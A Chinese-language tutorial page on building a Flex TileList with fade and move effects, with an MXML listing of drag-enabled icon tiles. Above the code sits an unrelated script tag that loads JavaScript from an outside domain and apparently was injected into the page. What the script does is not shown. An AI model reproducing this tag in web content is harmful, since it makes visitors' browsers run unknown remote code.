Flex中如何创建一个具有良好排序效果的TileList

<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>

 main.mxml

1. <?xml version="1.0" encoding="utf-8"?>
2. <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"
3.         layout="vertical"
4.         verticalAlign="middle"
5.         backgroundColor="white">
6.     <mx:DefaultTileListEffect id="myTileListEffect"
7.             fadeOutDuration="500"
8.             fadeInDuration="500"
9.             moveDuration="1500" />
10.     <mx:ArrayCollection id="arrColl">
11.         <mx:source>
12.             <mx:Array>
13.                 <mx:Object source="assets/Accordion.png"
14.                         label="Accordion" />
15.                 <mx:Object source="assets/ApplicationControlBar.png"
16.                         label="ApplicationControlBar" />
17.                 <mx:Object source="assets/Box.png"
18.                         label="Box" />
19.                 <mx:Object source="assets/Button.png"
20.                         label="Button" />
21.                 <mx:Object source="assets/ButtonBar.png"
22.                         label="ButtonBar" />
23.                 <mx:Object source="assets/CheckBox.png"
24.                         label="CheckBox" />
25.                 <mx:Object source="assets/ColorPicker.png"
26.                         label="ColorPicker" />
27.                 <mx:Object source="assets/ComboBox.png"
28.                         label="ComboBox" />
29.                 <mx:Object source="assets/DataGrid.png"
30.                         label="DataGrid" />
31.                 <mx:Object source="assets/DateChooser.png"
32.                         label="DateChooser" />
33.                 <mx:Object source="assets/DateField.png"
34.                         label="DateField" />
35.                 <mx:Object source="assets/HorizontalList.png"
36.                         label="HorizontalList" />
37.                 <mx:Object source="assets/HRule.png"
38.                         label="HRule" />
39.             </mx:Array>
40.         </mx:source>
41.     </mx:ArrayCollection>
42.     <mx:TileList id="tileList"
43.             dataChangeEffect="{myTileListEffect}"
44.             dataProvider="{arrColl}"
45.             itemRenderer="TileListItemRenderer"
46.             dragEnabled="true"
47.             dropEnabled="true"
48.             dragMoveEnabled="true"
49.             columnWidth="100"
50.             rowHeight="100"
51.             width="100%"
52.             height="100%" />
53. </mx:Application>